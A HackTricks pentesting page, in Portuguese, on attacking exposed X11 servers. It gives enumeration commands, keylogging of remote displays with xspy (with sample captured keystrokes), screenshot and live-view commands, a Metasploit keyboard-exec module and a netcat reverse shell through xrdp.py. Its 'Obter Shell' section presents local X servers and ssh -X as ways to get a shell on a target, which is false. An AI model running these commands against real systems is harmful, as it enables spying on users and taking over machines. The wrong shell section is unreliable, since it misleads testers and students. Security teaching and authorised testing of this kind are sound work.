hacktricks/network-services-pentesting/6000-pentesting-x11.md

261 lines
12 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 6000 - Pentesting X11
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? Ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
**HackenProof é o lar de todas as recompensas por bugs de criptografia.**
**Seja recompensado sem atrasos**\
As recompensas do HackenProof são lançadas apenas quando os clientes depositam o orçamento de recompensa. Você receberá a recompensa após a verificação do bug.
**Adquira experiência em pentesting web3**\
Protocolos de blockchain e contratos inteligentes são a nova Internet! Domine a segurança web3 em seus dias de ascensão.
**Torne-se a lenda do hacker web3**\
Ganhe pontos de reputação com cada bug verificado e conquiste o topo do leaderboard semanal.
[**Cadastre-se no HackenProof**](https://hackenproof.com/register) comece a ganhar com seus hacks!
{% embed url="https://hackenproof.com/register" %}
## Informações Básicas
O X Window System (também conhecido como X) é um sistema de janelas para exibições de bitmap, comum em sistemas operacionais baseados em UNIX. O X fornece a estrutura básica para um ambiente baseado em GUI. O X também não impõe a interface do usuário - programas individuais lidam com isso.\
De: [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
**Porta padrão:** 6000
```
PORT STATE SERVICE
6000/tcp open X11
```
## Enumeração
Verifique a **conexão anônima:**
```bash
nmap -sV --script x11-access -p <PORT> <IP>
msf> use auxiliary/scanner/x11/open_x11
```
#### Enumeração Local
O arquivo **`.Xauthority`** na pasta home do usuário é **usado** pelo **X11 para autorização**. De [**aqui**](https://stackoverflow.com/a/37367518):
> MIT-magic-cookie-1: Gerando 128 bits de chave ("cookie"), armazenando-a em \~/.Xauthority (ou onde a variável de ambiente XAUTHORITY aponta). O cliente a envia para o servidor em texto simples! O servidor verifica se possui uma cópia deste "cookie" e, se sim, a conexão é permitida. A chave é gerada pelo DMX.
{% hint style="warning" %}
Para **usar o cookie**, você deve definir a variável de ambiente: **`export XAUTHORITY=/caminho/para/.Xauthority`**
{% endhint %}
## Verificar Conexão
```bash
xdpyinfo -display <ip>:<display>
xwininfo -root -tree -display <IP>:<display> #Ex: xwininfo -root -tree -display 10.5.5.12:0
```
## Keyloggin
[xspy](http://tools.kali.org/sniffingspoofing/xspy) para capturar as teclas digitadas no teclado.
Exemplo de Saída:
```
xspy 10.9.xx.xx
opened 10.9.xx.xx:0 for snoopng
swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123
qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab
```
## Captura de Telas
Durante um teste de penetração em serviços X11, é importante capturar screenshots para obter informações visuais sobre a interface gráfica do sistema alvo. Isso pode revelar informações sensíveis, como senhas, chaves de criptografia ou dados confidenciais exibidos na tela.
Existem várias ferramentas disponíveis para capturar screenshots em um ambiente X11. Uma opção popular é o comando `xwd`, que permite capturar a tela inteira ou uma janela específica. Por exemplo, para capturar a tela inteira, você pode executar o seguinte comando:
```
xwd -root -out screenshot.xwd
```
Isso salvará a captura de tela no formato XWD (X Window Dump) em um arquivo chamado `screenshot.xwd`. Você pode visualizar o arquivo usando o visualizador de imagens `xwud`:
```
xwud -in screenshot.xwd
```
Outra opção é usar a ferramenta `import` do ImageMagick, que permite capturar screenshots e salvá-los em vários formatos, como PNG ou JPEG. Por exemplo, para capturar a tela inteira e salvá-la como um arquivo PNG, você pode executar o seguinte comando:
```
import -window root screenshot.png
```
Essas ferramentas de captura de tela podem ser úteis durante um teste de penetração para documentar as etapas realizadas, compartilhar informações com a equipe ou fornecer evidências de uma vulnerabilidade encontrada.
```bash
xwd -root -screen -silent -display <TargetIP:0> > screenshot.xwd
convert screenshot.xwd screenshot.png
```
## Visualização de Área de Trabalho Remota
Fonte: [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
```
./xrdp.py <IP:0>
```
Primeiro, precisamos encontrar o ID da janela usando xwininfo.
```
xwininfo -root -display 10.9.xx.xx:0
xwininfo: Window id: 0x45 (the root window) (has no name)
Absolute upper-left X: 0
Absolute upper-left Y: 0
Relative upper-left X: 0
Relative upper-left Y: 0
Width: 1024
Height: 768
Depth: 16
Visual: 0x21
Visual Class: TrueColor
Border width: 0
Class: InputOutput
Colormap: 0x20 (installed)
Bit Gravity State: ForgetGravity
Window Gravity State: NorthWestGravity
Backing Store State: NotUseful
Save Under State: no
Map State: IsViewable
Override Redirect State: no
Corners: +0+0 -0+0 -0-0 +0-0
-geometry 1024x768+0+0
```
**XWatchwin**
Para **visualização ao vivo**, precisamos usar
```bash
./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo
./xwatchwin 10.9.xx.xx:0 -w 0x45
```
## Obter Shell
Uma vez que tenhamos acesso a um servidor X11, podemos explorar várias técnicas para obter um shell no sistema alvo. Aqui estão algumas abordagens comuns:
### 1. X11 Forwarding
Se o servidor X11 permitir o encaminhamento, podemos usar o comando `ssh -X` para encaminhar a exibição do servidor X11 para o nosso sistema local. Isso nos permitirá executar aplicativos gráficos no sistema remoto e interagir com eles.
```bash
ssh -X user@target
```
### 2. Xvfb
O Xvfb (X Virtual Framebuffer) é um servidor X11 que não requer uma exibição física. Podemos usá-lo para criar uma exibição virtual e executar aplicativos gráficos sem uma interface gráfica real.
```bash
Xvfb :1 -screen 0 800x600x16 &
export DISPLAY=:1
```
### 3. Xnest
O Xnest é um servidor X11 que permite criar uma janela X11 dentro de outra janela X11. Podemos usá-lo para executar aplicativos gráficos em uma janela separada e capturar a saída.
```bash
Xnest :1
export DISPLAY=:1
```
### 4. Xephyr
O Xephyr é um servidor X11 que permite criar uma janela X11 dentro de outra janela X11 ou dentro de uma janela do gerenciador de janelas. Podemos usá-lo para executar aplicativos gráficos em uma janela separada e capturar a saída.
```bash
Xephyr :1
export DISPLAY=:1
```
### 5. Xpra
O Xpra é uma ferramenta que permite executar aplicativos X11 em um servidor remoto e exibir a saída em um sistema local. Podemos usá-lo para obter acesso a aplicativos gráficos em um servidor X11 remoto.
```bash
xpra start :1
export DISPLAY=:1
```
### 6. XDMCP
Se o servidor X11 estiver configurado para permitir conexões XDMCP, podemos usar um cliente XDMCP para se conectar ao servidor e obter uma sessão gráfica.
```bash
X -query target
```
Essas são apenas algumas das técnicas que podemos usar para obter um shell em um sistema alvo através de um servidor X11. A escolha da técnica dependerá das configurações e restrições específicas do sistema alvo.
```
msf> use exploit/unix/x11/x11_keyboard_exec
```
Outra maneira:
**Reverse Shell:** O Xrdp também permite obter um reverse shell via Netcat. Digite o seguinte comando:
**./xrdp.py \<IP:0> no-disp**
![](../.gitbook/assets/112217\_0051\_ExploitingX15.jpeg)
Será exibido um novo painel de controle onde podemos ver a opção R-shell, ilustrada abaixo:
![](../.gitbook/assets/112217\_0051\_ExploitingX16.jpeg)
Iniciaremos o modo de escuta do Netcat em nosso sistema local na porta 5555, ilustrado abaixo:
![](../.gitbook/assets/112217\_0051\_ExploitingX17.jpeg)
Em seguida, adicione o IP e a porta e selecione R-Shell, ilustrado abaixo:
![](../.gitbook/assets/112217\_0051\_ExploitingX18.jpeg)
Agora, como pode ser visto abaixo, temos acesso completo ao sistema:
![](../.gitbook/assets/112217\_0051\_ExploitingX19.jpeg)
{% embed url="https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref" %}
## Shodan
* `port:6000 x11`
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
**HackenProof é o lar de todas as recompensas por bugs de criptografia.**
**Seja recompensado sem atrasos**\
As recompensas do HackenProof são lançadas apenas quando seus clientes depositam o orçamento de recompensa. Você receberá a recompensa após a verificação do bug.
**Adquira experiência em pentesting web3**\
Protocolos de blockchain e contratos inteligentes são a nova Internet! Domine a segurança web3 em seus dias de ascensão.
**Torne-se uma lenda hacker web3**\
Ganhe pontos de reputação com cada bug verificado e conquiste o topo do leaderboard semanal.
[**Cadastre-se no HackenProof**](https://hackenproof.com/register) e comece a ganhar com seus hacks!
{% embed url="https://hackenproof.com/register" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>